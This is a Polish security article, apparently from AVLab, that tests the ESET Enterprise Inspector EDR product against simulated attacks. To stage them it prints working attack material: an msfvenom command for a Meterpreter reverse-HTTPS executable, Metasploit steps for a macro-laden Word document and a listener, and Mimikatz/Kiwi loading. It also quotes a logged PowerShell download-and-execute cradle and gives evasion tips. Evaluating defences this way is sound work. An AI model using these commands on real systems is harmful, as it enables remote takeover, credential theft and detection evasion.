Na przestrzeni ostatnich 10 lat branża IT bardzo wyraźnie wyewoluowała w kierunku zautomatyzowanych narzędzi do wczesnego ostrzegania przed cyberatakami. Systematycznie obserwujemy rynek i dostrzegamy pewną nomenklaturalną niespójność, która zupełnie niepotrzebnie zatrzymała się na etapie tak zwanych antywirusów. W opisanym poniżej doświadczeniu, sprawdzającym reakcję rozwiązania ESET Enterprise Inspector klasy typu EDR (Endpoint Detection and Response) na wybrane cyberataki, postaramy się udowodnić, że tak zwane antywirusy – kiedyś a obecnie – znacząco się różnią. Porównywanie technologii sprzed dekady do tej dzisiejszej, to mówiąc delikatnie, mijanie się ze stanem faktycznym.
Współcześnie nawet bezpłatne programy ochronne przeznaczone na rynek domowych odbiorców mają niewiele wspólnego z sygnaturami, ponieważ ta podstawowa ochrona jest tylko dodatkiem do pozostałych warstw ochronnych, które możemy porównać do liści cebuli. Rynek retailowy jest dojrzały i dobrze rozwinięty. Koszty zakupu oprogramowania nie są już problemem, ale wybór tego najbardziej solidnego rozwiązania spośród bogatej oferty producentów jest już inną parą kaloszy. Każdy producent przedstawia odbiorcy końcowemu własne marketingowe dane i mnożąc te informacje przez ilość dostawców nie jest łatwe przebrnięcie przez tak niewyobrażalną porcję informacji. Ilość danych w kontekście całego rynku zabezpieczeń może przytłaczać nawet ekspertów, którym trudno jest nadążyć za produktami dynamicznie przechodzącymi ewolucję.
W pewnym sensie rynek B2B jest podobny. Tutaj użytkownik zmienia się w administratora, który ma te same problemy, tylko że zwielokrotnione. Więc czy możliwe jest wybranie produktu skonsolidowanego, pokrywającego większość wektorów sieciowych i zarazem nieskomplikowanego? W redakcji AVLab — organizacji edukującej i uświadamiającej, staramy się przedstawiać wyłącznie te rozwiązania, które sami moglibyśmy używać. Dlatego dzisiaj chcemy pokazać mocne strony systemów EDR na przykładzie rozwiązania ESET Enterprise Inspector.
Systemy EDR dalece wykraczają poza tzw. antywirusy
Do tej pory na skuteczne wykrywanie i reagowanie na incydenty mogły sobie pozwolić tylko firmy z dedykowanym centrum obsługi bezpieczeństwa (Security Operational Center — SOC) lub wyspecjalizowanym zespołem IT, specjalnie przeszkolonym do wyszukiwania i analizowania cyberataków. Teraz firmy dzięki rozwiązaniu Endpoint Detection and Resposne (EDR) mogą redukować czas, w którym hakerzy pozostają niewykrywalni w sieci. Systemy EDR jednocześnie pokazują w jakiem kierunku zmierza cała branża, czyli automatyzacji oraz błyskawicznemu reagowaniu na incydenty.
Rozwiązania klasy EDR to bardzo wyspecjalizowane produkty do zbierania informacji o podejrzanej aktywności. Głównym ich zadaniem jest ułatwienie zespołom ds. bezpieczeństwa podejmowania decyzji na podstawie wskaźników zagrożeń (Indicators of Compromise — IoC). Mówiąc wprost EDR pozwala na bieżąco zarządzać incydentami oraz wyszukiwać śladów włamań i ataków na każdym punkcie końcowym, dzięki czemu rozwiązania EDR pozwalają uniknąć dodatkowych wydatków na naprawianie problemów z bezpieczeństwem.
W przeciwieństwie do usług Service as a Security produkty EDR wymagają wykwalifikowanej kadry. Ktoś przecież musi reagować na zaistniałe incydenty. Kiedy firma zdecyduje się oprzeć ochronę stacji roboczych o rozwiązania jednego dostawcy, to otrzyma rozwiązanie pokrywające większość znanych sposobów sieciowego wtargnięcia do organizacji. Pamiętajmy, że internet jest tylko łącznikiem, wektorem przenoszącym ładunek z punktu A do punktu B, a same ilości sposobów ataków są niezliczone. Przestępców ogranicza tylko wyobraźnia. Warto wspomnieć chociażby o ułomności systemu operacyjnego Windows, gdzie obejść politykę restrykcji PowerShell można na około 50 różnych sposobów. Mając taką wiedzę i dostępność do sieci da się w systemie zrobić w zasadzie wszystko. Bez odpowiedniej ochrony można nawet uzyskać uprawnienia administratora domeny.
Wdrożone rozwiązanie EDR w dedykowanych centrach bezpieczeństwa pozwala monitorować sieć 24 godziny na dobę. Bezpieczeństwo jest niekończącym się procesem, dlatego nie podlega sztywnym zasadom zainstalowania ochrony, a następnie czekania aż coś się wydarzy. Rozwiązania zabezpieczające bardzo mocno zmieniły się na przestrzeni lat, dlatego obecnie producenci oferują klientom bardzo dobre produkty monitorujące praktycznie każdy element infrastruktury.
Analiza ataków sieciowych z użyciem systemu EDR ESET Enterprise Inspector
Zazwyczaj problemem jest przedstawienie konkretnej sytuacji w jakich mogą przydać się rozwiązania klasy Endpoint Detection and Response. Chcieliśmy zasymulować dwa takie przypadki, często używane w prawdziwych atakach. Po pierwsze dlatego, że cyberprzestępcy nie mają trudności z przygotowaniem podobnych kampanii, ale wymaga się od nich technicznej wiedzy o działaniu systemów ochronnych i budowy sieci. Drugi powód jest taki, że atak musi być połączony z dobrym pomysłem socjotechnicznym, aby dostarczyć ładunek co najmniej do jednego komputera pracownika.
Przygotowanie narzędzi
Do zasymulowania ataku wykorzystaliśmy oprogramowanie Metasploit oraz jeden z dostępnych frameworków TheFatRat do generowania złośliwego oprogramowania. Inne tego typu narzędzia to np.: Empier, Unicorn, Office-DDE-Payloads, Backdoor-Factory. Dodatkowo z Metasploitem zintegrowane są moduły Mimikatz oraz Kiwi, które używa się do eskalacji uprawnień lub dostępu do zasobów.
Zwracamy uwagę, że takie narzędzia są w różnym stopniu znane dostawcom rozwiązań bezpieczeństwa. Tutaj przewagę mają producenci świadczący usługi red-teamingu, ponieważ łatwiej jest opracować produkt we współpracy z praktykami bezpieczeństwa. Jak pokazują raporty z już ujawnionych incydentów, cyberprzestępcy nie odmawiają korzystania z gotowego arsenału. Etap socjotechniczny w warunkach laboratoryjnych zostanie pomięty, ponieważ skuteczność udanego ataku zależy od wielu czynników np. od stopnia uświadomienia pracowników, a także wdrożonych zabezpieczeń. W symulowanym incydencie nie da się tego przewidzieć, dlatego skupimy się wyłącznie na technicznych kwestiach.
Pierwsze uruchomienie narzędzi
Metasploit został zainstalowany na serwerze w Niemczech. Realny scenariusz ataku w warunkach kontrolowanych to najlepsza, nieinwazyjna i w pełni legalna metoda testowania zabezpieczeń.
Rozpowszechnienie się narzędzi dla pentesterów doprowadziło do powstania właśnie tego typu programów, które są pomocne przy żmudnej pracy ekspertów, ale też podczas badania zabezpieczeń w sposób zupełnie „nieautoryzowany” (przez prawdziwych hakerów). Możliwości frameworka TheFatRat są duże i nie ograniczają się tylko do systemu Windows. W tym doświadczeniu wykorzystamy opcję [06], czyli wygenerujemy złośliwe oprogramowanie i spróbujemy użyć metod postexploitacyjnych. Założenie doświadczenia jest takie, aby ładunek nie był wykrywalny dla produktu ESET (dostarczenie ładunku i komunikacja z serwerem to już odmienna kwestia).
Generujemy złośliwy plik EXE za pomocą TheFatRat
Podajemy adres IP, numer oraz nazwę szkodliwego pliku, którą można zmienić w dowolnym momencie. Następnie wybieramy sposób komunikacji zwrotnej szkodliwego oprogramowania z oprogramowaniem pentesterskim. W tym doświadczeniu użyliśmy metody szyfrowanej wykorzystującej protokół HTTPS.
I w zasadzie to już wszystko. Szkodliwy_plik.exe został zapisany w katalogu tymczasowym narzędzia TheFatRat. Teraz trzeba dostarczyć ładunek do komputera ofiary.
W prawdziwym scenariuszu ze względu na solidne filtry antyspamowe produktu ESET, ochronę serwera poczty, a także ochronę w przeglądarce, nie będzie to wcale takie łatwe. Wątek socjotechniczny pominiemy. W dalszej części do dostarczenia szkodliwego oprogramowania posłużymy się serwerem Apache z prostą stroną WWW, na której umieścimy złośliwy plik.
Utworzymy drugi złośliwy plik za pomocą msvenom
Posłużymy się wbudowanymi narzędziami w oprogramowanie Metasploit. Moduł msfvenom odpowiada m.in. za generowanie i kodowanie ładunków. Oto przykładowe polecenie:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_https LHOST=IP_hakera LPORT=port_serwera SessionExpirationTimeout=0 SessionCommunicationTimeout=0 -f exe -o szkodliwy_plik.exe
Generujemy makrowirusa za pomocą Metasploita
Wygenerowanie złośliwego dokumentu zawierającego makro to też zaledwie kilka poleceń. Mając plik „szkodliwy_dokument.docm” da się go przekonwertować do DOC lub DOCX. Można też skopiować makro i wstawić do osobnego dokumentu napisanego pod konkretny atak. Plik można też pozostawić w oryginalnej postaci.
use exploit/multi/fileformat/office_word_macro msf exploit(multi/fileformat/office_word_macro) > set filename szkodliwy_dokument.docm filename => szkodliwy_dokument.docm msf exploit(multi/fileformat/office_word_macro) > exploit [*] Using template: /opt/metasploit/apps/pro/vendor/bundle/ruby/2.6.0/gems/metasploit-framework-4.17.86/data/exploits/office_word_macro/template.docx [*] Injecting payload in document comments [*] Injecting macro and other required files in document [*] Finalizing docm: szkodliwy_dokument.docm [+] szkodliwy_dokument.docm stored at /root/.msf4/local/szkodliwy_dokument.docm
Włączamy nasłuchiwanie i oczekujemy na połączenie
Mamy już pliki, które trzeba dostarczyć do komputera ofiary. Teraz trzeba jeszcze ustawić na serwerze hakera nasłuchiwanie oczekujące na połączenie, dostosowując rodzaj do złośliwego oprogramowania.
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost IP set lport 8443 exploit -j
Należy pamiętać, że w prawdziwym ataku adres IP atakującego będzie ukryty za serwerem proxy i/lub VPN-em. Serwer musi też być odpowiednio zabezpieczony przed dostępem (najlepiej użyć logowania z kluczem i zmienić domyślny port SSH).
Sprawdzamy połączenie w testowym środowisku
Dostarczyliśmy złośliwe oprogramowanie do testowego systemu. Teraz sprawdzimy, czy wszystko działa tak jak powinno.
Komputer ofiary prawidłowo połączył się ze serwerem hakera. Metasploit wysłał do urządzenia payload, który uruchomił kod i nawiązał połączenie z powłoką systemową Windows. Od teraz można uzyskać dostęp do CMD i PowerShell. Można też załadować narzędzie Kiwi albo Mimikatz, które są używane w prawdziwych cyberatakach. Te moduły są zintegrowane z Metasploitem. Po ustanowieniu sesji z komputerem ofiary należy użyć polecenia:
load mimikatz load kiwi
Sposobów przejęcia kontroli nad systemem jest bardzo dużo. Niemniej nadal trzeba szukać podatności i exploitować Windows, albo użyć Kiwi i Mimikatz do stworzenia nowego użytkownika i przypisać prawa administratora domeny. Mając podwyższone uprawnienia można przenieść się do powłoki PowerShell i wykonywać dowolne polecenia.
load shell
Na tym etapie atakujący ma już zdalny dostęp do komputera z takimi samymi uprawnieniami jak zalogowany użytkownik. Sprawdźmy jeszcze jak przebiega ustanowienie połączenia i czy faktycznie do niego dochodzi. Do śledzenia komunikacji używamy oprogramowania Wireshark. Uruchamiamy złośliwy plik i czekamy na połączenie z konsolą hakera.
Jak reaguje ESET na podejrzane akcje? Co znajduje się w logach?
Reakcja rozwiązania ESET Enterprise Inspector za każdym razem była prawidłowa (tak jak się spodziewaliśmy). Systematycznie przeprowadzamy testy bezpieczeństwa, dlatego możemy wyraźnie powiedzieć, że systemy EDR to nie są zabawki dla małych chłopców.
Monitorowany jest absolutnie każdy element systemu operacyjnego. Wszystkie interpretery Windows, a także procesy, powiązane wątki, uruchamiane polecenia, próba wyczyszczeni logów z Windows Event, załadowane biblioteki DLL, wstrzykiwany kod itp. Wszystko jest ze sobą powiązane, dlatego ESET tworzy czytelne drzewa korelacji procesów zaistniałego incydentu. Na podstawie reguł producenta przypisywane są akcje odpowiadające poszczególnym modułom agenta, dlatego możemy zaobserwować, że nie tylko antywirus bierze udział w ochronie, ale faktycznie HIPS.
ESET prawidłowo rozpoznał atak. Otworzony dokument zawierający makro uruchamia interpreter CMD.exe i wykonuje polecenie:
/C "powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://51.89.23.194:8080/uZJJ2hY');"
W tym momencie PowerShell uruchamia poniższą komendę. Mamy próbę pobrania ładunku z adresu HTTP:
-nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://51.89.23.194:8080/uZJJ2hY');
Konsekwencją nie zablokowania takiego ataku może być włamanie do sieci organizacji. Dostarczony ładunek łączy maszynę ofiary z serwerem hakera za pośrednictwem odwrotnego połączenia poprzez wybrany przez hakera protokół i port oraz zapewnia dostęp do powłoki poleceń.
Atakujący mógłby jeszcze bardziej zaciemnić działanie fabryki TheFatRat i połączyć wygenerowany złośliwy plik z instalatorem KeePass lub CCleaner (instalatory podpisane cyfrowo!). Można do tego użyć dedykowanego rozwiązania ShelterProject, chociaż lepszym sposobem jest użycie metamorficznego kodera zawartego w Metasploicie — Shikata Ga Nai (dla architektury x86). Metamorfizm sprawia, że zmienia się m.in. kod binarny pliku, wykorzystywane rejestry, instrukcje skoku. Nie jest to technika doskonała. I chociaż można podszyć się pod plik zaufany cyfrowo, to nie zmieni się złośliwych akcji wykonywanych przez dołączony złośliwy plik.
Dla kogo są systemy EDR?
Endpoint Detection and Response (EDR) to systemy szybkiego reagowania. Tak naprawdę jest to moduł graficznej obsługi systemu HIPS. Dzięki informacjom na temat popularności i reputacji plików w sieci firmowej, obecności i prawidłowości podpisów cyfrowych oraz certyfikatów, a także za sprawą monitorowania zachowania poszczególnych plików, aplikacji oraz pracowników, EDR potrafi wykryć każdą nieprawidłowość. Dzięki rozbudowanej strukturze filtrów i reguł, możliwe jest zautomatyzowanie procesu wykrywania niepożądanych działań. W ten sposób zespoły odpowiedzialne za bezpieczeństwo mogą uszczelnić ochronę, dopasowując czułość detekcji podejrzanych plików.
Dobrym przykładem praktycznego wykorzystania systemu EDR jest taki realny scenariusz: jest sobota 6 rano, gdy ktoś upublicznił krytyczną lukę w przeglądarce. Opublikowane IoC (sumy kontrolne, nazwy plików lub adresy IP) mogą być pomocne w rozpoznaniu exploita rozprzestrzenianego in-the-wild. EDR umożliwia szybkie sprawdzenie systemów pod kątem potencjalnych wskaźników infekcji. EDR nie zawsze wskazuje na infekcję wprost, może jednak zaalarmować zespół bezpieczeństwa, który podejmie odpowiednią reakcję. Dodatkowo EDR może pomóc znaleźć słabe punkty nawet w jądrze systemowym. Rozwiązania typu EDR są doskonałym przykładem reagowania produktu bezpieczeństwa na nieznane zagrożenie.
ESET Enterprise Inspector daje pełny wgląd w działanie monitorowanej i chronionej sieci firmowej. Możliwe jest m.in. sprawdzenie, czy użytkownicy nie naruszają firmowej polityki bezpieczeństwa, np. korzystając z niepożądanych aplikacji, sieci Tor czy torrentów. Dzięki EDR komputery są sprawdzane w czasie rzeczywistym w celu zbadania systemów plików, stanu sieci, pamięci lub konfiguracji punktów końcowych.
Zachęcamy do korzystania z modułów EDR, które pozwalają redukować czas, w jakim hakerzy pozostają niewykrywalni w sieci. Niektóre badania pokazują wyraźnie, że cyberprzestępcy mogą mieć dostęp do sieci organizacji nawet przez kilka miesięcy, dlatego traktowanie infrastruktury jakby już została zaatakowana, to bardzo dobra strategia.
Czy ten artykuł był pomocny?
Oceniono: 0 razy